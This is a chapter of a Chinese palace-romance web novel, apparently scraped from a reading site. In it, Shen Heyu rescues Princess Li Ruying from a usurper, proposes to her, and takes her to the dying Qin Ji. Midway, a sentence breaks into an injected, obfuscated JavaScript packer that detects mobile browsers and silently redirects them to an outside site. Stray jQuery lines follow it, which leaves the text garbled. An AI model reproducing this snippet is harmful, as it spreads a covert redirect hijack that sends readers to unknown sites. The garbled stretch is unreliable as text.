青柳浮鱼 作品

76. 第76章

李汝萤浑身发抖,身上的氅衣披得她热得很。


不容她侧首作出反应,他口中呼出的热气又经她的耳道,为她身上燃起的炉灶填了一把火。


“如今,加倍偿还公主可好?”


李汝萤饶是再傻,也听出了此刻他这句话中想要偿还的,究竟是什么。


雪花如盐粒般落撒在她翘起的睫羽上,她佯作不知,脑袋离得他稍远了些。


然而这一举动落在申鹤余眼中,却成了她羞赧的表现,他握着她的手腕,将她向怀中又带了一带。


李汝萤更加觉着自己正被焚在火上。


她避过他的目光,下意识道了声:“有水囊么?”


“来时喝光了,”他笑盈盈地向她贴近,“不若……”


他故意停顿下来,等着她抬头去听。


“我再渡与公主?”


李汝萤急忙双手捂唇,将头深埋下去。


她便重新捡起他前一句话,问:“我没有收到你说的这封信。”


“现下见到公主,这些都不重要了。”申鹤余将她紧了紧,声音一顿。


李汝萤心中却隐隐有一种声音在对她呼喊,这些对她十分重要。


他低下头,看向她的眼睛,“重要的是,日后我可以慢慢将信上所写,一一当面说与公主听。”


“我才不要听。”李汝萤急忙回道。


申鹤余蹙了蹙眉:“看来公主依旧在生我的气,那我只好——”


李汝萤呼吸一滞。


然,当申鹤余即将吻向她时,忽有一只长箭穿透风雪自门楼之上向二人射来。


金至简的声音被朔风吹出凛凛寒意。


“贼人!放开朕的皇后!”


李汝萤身下的马儿嘶鸣一声,但见它前蹄陡然惊抬而起,这箭竟是射偏落在了离马蹄只有一寸之地。


几乎是眨眼的功夫,马背上的二人因马儿的惊厥滚落下马。


申鹤余紧紧将李汝萤护在怀中,令她整个人蜷缩在他的怀抱之中。


申鹤余扶她站起,将她护在披风之下,抬头看向门楼。


只见一名身形清瘦的宦官,正拼力阻止着金至简想要再度弯弓搭箭的动作。


“许慎!你是个什么东西!怎敢阻拦我?还不滚开!”


门楼上,金至简对那宦官怒斥,拔剑将要劈砍向他。


“快救许慎!”李汝萤急喊。


一声口哨响起,落在高处枝头的三竿猛地向金至简啄去。


李汝萤对许慎大喊:“快跑!”


下一瞬,薛勉带着人齐齐出现在门楼上,兵士一应而上,将金至简及其部下悉数绑缚起来。


李汝萤长舒一口气,这才看向已将马勒住,牵马向她走来的申鹤余。


申鹤余从马上解下水囊递给她。


水囊在她手中沉甸甸的。


“你不是说都喝光了么?”


申鹤余神色坦然:“哦,许是记错了。”


李汝萤喝了一口,将水囊交还给他。余光中,申鹤余的目光一直凝落在她氅衣覆盖下的皇后袆衣上。


李汝萤深吸一口气,抬头看向他。


“若你介意,先前你我的约定不必在意。如今以你的功勋,你自可另寻五姓贵女,我定当请阿耶为你们赐婚。”


她话中所说的约定,指的是那夜她请他做驸马都尉入仕一事。


他先是说了声“好”,随后顺着她交递水囊所伸来的手将她牵带在怀。


“那便不考虑什么利益交换,如今我单凭此心,请公主,出降于我。”他一字一句,眸色诚挚。


李汝萤蓦然抬首:“你不介意我曾嫁过人?”


申鹤余原本想要落在她发髻的吻就这般落在她额上。


“那不算出嫁。就算是真的嫁过了,此生能娶到公主,也实是我捡到了天大的恩赐。”


她小声:“可你方才的眼神中明明……”


他的吻移落在她唇上,贴着她的唇轻轻说:“我只是一时恨我没能早些赶到,叫你平白忍受多日他强加给你的屈辱。”


这些日,他成功诛杀娄侃,得调益州军之后,日夜兼程向她奔赶而来。


路上曾竟听闻,她即将成为伪帝的皇后。


他知道她一定是迫于无奈,他定要在她被迫嫁给伪帝之前将她救下,不愿叫她承受那份屈辱。


可如今看来,他还是晚到了一步。他觉得自己实在辜负了曾经所暗自承诺过的好好保护她的话。


李汝萤忍不住转了转手腕。


对她而言,其实屈辱算不上,就是那镣铐铐得她的确有些不舒服,如今虽已解除枷锁,她隐约中却仍旧能感受到手脚上所束缚着她的锁链。


他感受到她的手在动,疑心是抱得她不舒服。


他将她松开,为她别了别耳侧的碎发,神色忽变得分外认真。


“公主,答应我,日后不要再轻易放弃自己的性命。公主的命,如今是我的。”


李汝萤道:“我又不傻,方才楼下那么多梁州军的将士,各个武功高强,随便哪个肯定都能接住我啊。”


但其实方才在她心中,的确没有想过什么还能活下去的可能。


申鹤余摇头:“你请薛都督潜入宫中救出圣人与太子,却没有选择跟他一并逃出城,我并非不知你是想以己为棋,稳住伪帝,使他以为仍有筹码利用,可以在城中坚持到最后一刻。”


李汝萤有些窘。


其实她并非没有想逃,只是金至简看守得她实在太严。


原本她在大婚夜激怒金至简,为的就是想要趁金至简禁足她之际,殿中无人,她可以神不知鬼不觉地经殿中地道逃脱出身。


但怎能料到,金至简竟在那之后,无时无刻将她用锁链紧锁,哪怕不将她带在身侧,也要命令数十余宫人严密将她看守。


她若想要逃,简直难如登天。


她允诺:“我这条命如今是你救的,以后定不会了。”


他解下身上的披风,为她披在身上。


李汝萤蹙眉看他,她现下简直热得很,他看不出她额上出了一层汗么?


申鹤余轻咳一声:“你身上这身衣裳颜色太深,太难看了。”


牵马在一侧树根下的砚池鄙夷地看了眼自家郎君,缩回脑袋瘪了瘪嘴。


“这皇后袆衣可是全天下最漂亮的衣裳了,单单一根丝线都能顶我大半年的例银了……”


李汝萤解下披风还给他,申鹤余没接。


申鹤余抬头看了看前方已然肃清伪帝的局势,抱她上马。


李汝萤坐在马上,看着他一路行出宫城、皇城,向着城外急切奔赶,似乎是有什么要紧的事必须立时去做一


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610167|169342||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


般。


“现下要去何处?”李汝萤问。


“鹿息山,”申鹤余补充,“我想带公主去见一个人。”


“你的师父?”


“不,是秦兄。”


“秦……绩?”


她与申鹤余共同认识的姓秦的人,似乎只有秦绩。


申鹤余轻“嗯”一声。


李汝萤面色有些发青:“你我这般去见他不大好吧……”


他之前分明并不乐意她见秦绩,如今这般……莫非是想故意气秦绩?


不过秦绩为何会在鹿息山?


申鹤余道:“倘若公主现下不去,以后怕是没有机会了。”


申鹤余的语气叫她心中忽然生出些说不出的慌乱。


“秦绩他怎么了?”李汝萤急问。


申鹤余道:“他中了跟太子一样的毒,如今毒入肺腑,恐已无力回天,公主若再不去,恐怕再见不到他了。”


“怎么会!?”李汝萤惊讶地回头看向他。


原来,当初秦绩被金至简派去越州寻花雕酒之前,金至简为了确保秦绩不会逃走,曾喂秦绩服下了毒药,每日都由随行的新罗士兵喂秦绩服下一枚解毒丹药。


但卫兵手中的药丸,并非是解药,而只是可以暂且延缓毒性发作的药丸,且一枚药丸只能顶一日之用。


秦绩若想彻底解毒,便只能回朔安找金至简交差时得到解药。


而金至简给卫兵的药丸数量,刚好只能供秦绩往返越州。


然而,李汝萤中途逃走之后,秦绩担忧李汝萤的安危,便设法从随行的新罗卫兵身边逃脱,并偷下了他们手中剩余的药丸。


秦绩折返回李汝萤坠马的树林,在那里遇到了竹溪生。


竹溪生告知秦绩李汝萤去了益州。


秦绩并不知道李汝萤中途停在了梁州,便一心赶赴益州,专心在益州等李汝萤。


但他没能等到李汝萤,却等到了前去益州请娄侃出兵的申鹤余与薛皎。


彼时娄侃设下鸿门宴,意图关押申鹤余与薛皎。


但巧的是,秦绩自幼时离开越州后,便跟随父亲在娄侃的幕府之中长大,熟知益州都督府的路线。


因此,他凭着自身对都督府情况的熟悉,成功将申鹤余二人解救,并配合申鹤余将娄侃诛杀。


等做完这一切,秦绩身上可以暂且压制毒性的药丸早已用尽。他们尚未启程折返朔安,秦绩身上的毒便发作起来。


申鹤余虽然知道这毒该如何去解,可奈何时间不等人,没办法为秦绩寻遍崇山找到臼藤草解毒。


那时申鹤余唯一能做的,便是派人尽快护送秦绩回朔安,送秦绩去鹿息山寻竹溪生用竹笋的血解毒。


可哪怕日夜奔赶,等秦绩来到鹿息山,毒性早已入了肺腑,他身体的精元亏损耗尽,哪怕服下了竹溪生熬制的解药也已经没有用了。


前因后果说完,马也停在了竹溪生隐居的篱笆院外。


申鹤余将已呆怔的李汝萤抱下马,拿出了一支虎头木簪。


“这是秦兄还清醒时私下所雕刻的。我那时一看便知是他为公主所刻。我那时气他,便趁他不在将这簪子偷了。”


他将这木簪插入她髻上,“如今,我替他将这簪子赠予公主,公主便戴着这簪子,最后看一看他吧。秦兄看见,定能欢喜。”